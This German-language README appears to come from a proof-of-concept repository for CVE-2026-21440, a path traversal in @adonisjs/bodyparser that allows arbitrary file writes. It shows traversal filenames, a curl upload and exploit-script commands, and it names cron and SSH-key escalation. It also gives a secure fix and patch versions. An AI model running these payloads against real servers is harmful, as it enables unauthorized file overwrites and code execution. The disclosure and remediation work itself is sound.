
PoC und Writeup für CVE-2026-21440: eine kritische Path-Traversal-Schwachstelle in @adonisjs/bodyparser, die das Schreiben beliebiger Dateien ermöglicht
Path-Traversal zu beliebigem Datei-Schreiben in @adonisjs/bodyparser
Eine kritische Path-Traversal-Schwachstelle existiert im Paket @adonisjs/bodyparser, die es entfernten Angreifern ermöglicht, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben. Wenn die Funktion multipartfile.move() aufgerufen wird, ohne explizit einen bereinigten Dateinamen anzugeben, verwendet der Parser standardmäßig den vom Client gelieferten Dateinamen ohne ordnungsgemäße Bereinigung.
Da die Implementierung path.join() verwendet und options.overwrite standardmäßig auf true gesetzt ist, kann ein Angreifer einen bösartigen Dateinamen mit Verzeichnis-Traversal-Sequenzen (z. B. ) erstellen, um Dateien überall im Dateisystem zu schreiben, was möglicherweise zur Remote-Code-Ausführung führt.
../../etc/cron.d/malicious| Attribut | Wert |
|---|---|
| CVE-ID | cve-2026-21440 |
| CWE-Klassifizierung | cwe-22: Unzulässige Begrenzung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal') |
| CVSS v3.1-Score | 9.2 (kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | niedrig |
| Erforderliche Privilegien | keine |
| Benutzerinteraktion | keine |
Die Schwachstelle existiert in der Methode multipartfile.move(location, options?). Wenn Entwickler diese Methode aufrufen, ohne options.name anzugeben, verwendet der Code standardmäßig this.clientName — den ursprünglichen, vom Client gesendeten Dateinamen — ohne Bereinigung.
// Verwundbarer Codepfad in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← unbereinigte Client-Eingabe
const filePath = path.join(location, fileName) // ← path.join erlaubt Traversal
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ Angreifer │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ Verwundbare AdonisJS-App │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← kein bereinigter Name angegeben │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ löst auf zu: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ Datei außerhalb des Upload-Verzeichnisses geschrieben │
└─────────────────────────────────────────────────────────────────┘
│
▼
beliebiges Datei-Schreiben
→ RCE über Cron
→ Konfigurationsüberschreibung
→ SSH-Key-Injektion
| Paket | Verwundbare Versionen | Gepatchte Version |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 bis 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() ohne explizite name-Option auf# Navigiere zum Exploit-Verzeichnis
cd Exploit-PoC
# Installiere Abhängigkeiten
pip install -r requirements.txt
# Führe Exploit aus
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ verwundbar - verwendet vom Client gelieferten Dateinamen
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName wird als Dateiname verwendet
}
return response.ok({ message: 'uploaded' })
}
// ✅ sicher - generiert bereinigten Dateinamen
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// Generiere eindeutigen Dateinamen mit ursprünglicher Erweiterung
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // Überschreibungen verhindern
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser auf die gepatchte Version aktualisieren# Repository klonen
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# Verwundbare Umgebung starten
docker-compose up --build
# In einem anderen Terminal den Exploit ausführen
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# Überprüfen, ob die Datei außerhalb des Uploads-Verzeichnisses geschrieben wurde
docker-compose exec app cat /app/test.txt
| Datum | Ereignis |
|---|---|
| 2026-01-02 | Patch in 10.1.2 und 11.0.0-next.6 veröffentlicht |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h veröffentlicht |
| 2026-01-02 | cve-2026-21440 zugewiesen |
| 2026-01-02 | von nvd veröffentlicht |
Dieses Repository wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Der Proof-of-Concept-Code soll Sicherheitsexperten helfen, diese Schwachstelle in Umgebungen zu verstehen und zu testen, für deren Bewertung sie autorisiert sind.
Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für die missbräuchliche Verwendung dieser Informationen. Holen Sie immer die entsprechende Autorisierung ein, bevor Sie Schwachstellen testen.
recherchiert mit ☕ von k0nnect